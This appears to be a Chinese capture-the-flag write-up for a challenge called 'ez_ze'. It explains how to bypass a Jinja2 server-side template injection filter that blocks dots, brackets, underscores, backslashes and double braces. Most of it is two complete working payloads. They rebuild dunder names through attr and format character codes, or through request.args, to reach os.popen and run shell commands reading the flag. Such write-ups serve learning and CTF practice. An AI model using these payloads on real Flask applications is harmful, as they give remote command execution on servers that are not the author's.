ez_ze

SSTI被过滤. [ ] _ \ {{ ` `}} 绕过方法。

FUZZ跑一下测出来过滤了下列字符

. [ ] _ \ {{ ` `}}

这个题目如果没有过滤\就可以用unicode编码之类的绕过,但是过滤了\所以不能用unicode,

payload1:

采用 jinja2的过滤器attr和format

1
{%print(''|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c'|format(95,95,109,114,111,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))(1)|attr('%c%c%c%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95))()|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))(132)|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('read')())%}

payload2:

采用jinja2的过滤器attr和利用 flask的request方法来进行获取__ (下面的payload要用burpsuite,不然被url编码以后就会失效)

1
2
# /get_flag?__
{% for c in request|attr('args') %}{%print(''|attr(c%2b'cla''ss'%2bc)|attr(c%2b'ba''se'%2bc)|attr(c%2b'subcl''asses'%2bc)()|attr(c%2b'get''item'%2bc)(132)|attr(c%2b'in''it'%2bc)|attr(c%2b'glob''als'%2bc)|attr(c%2b'get''item'%2bc)('po''pen')('cat /flag')|attr('read')()) %}{% endfor %}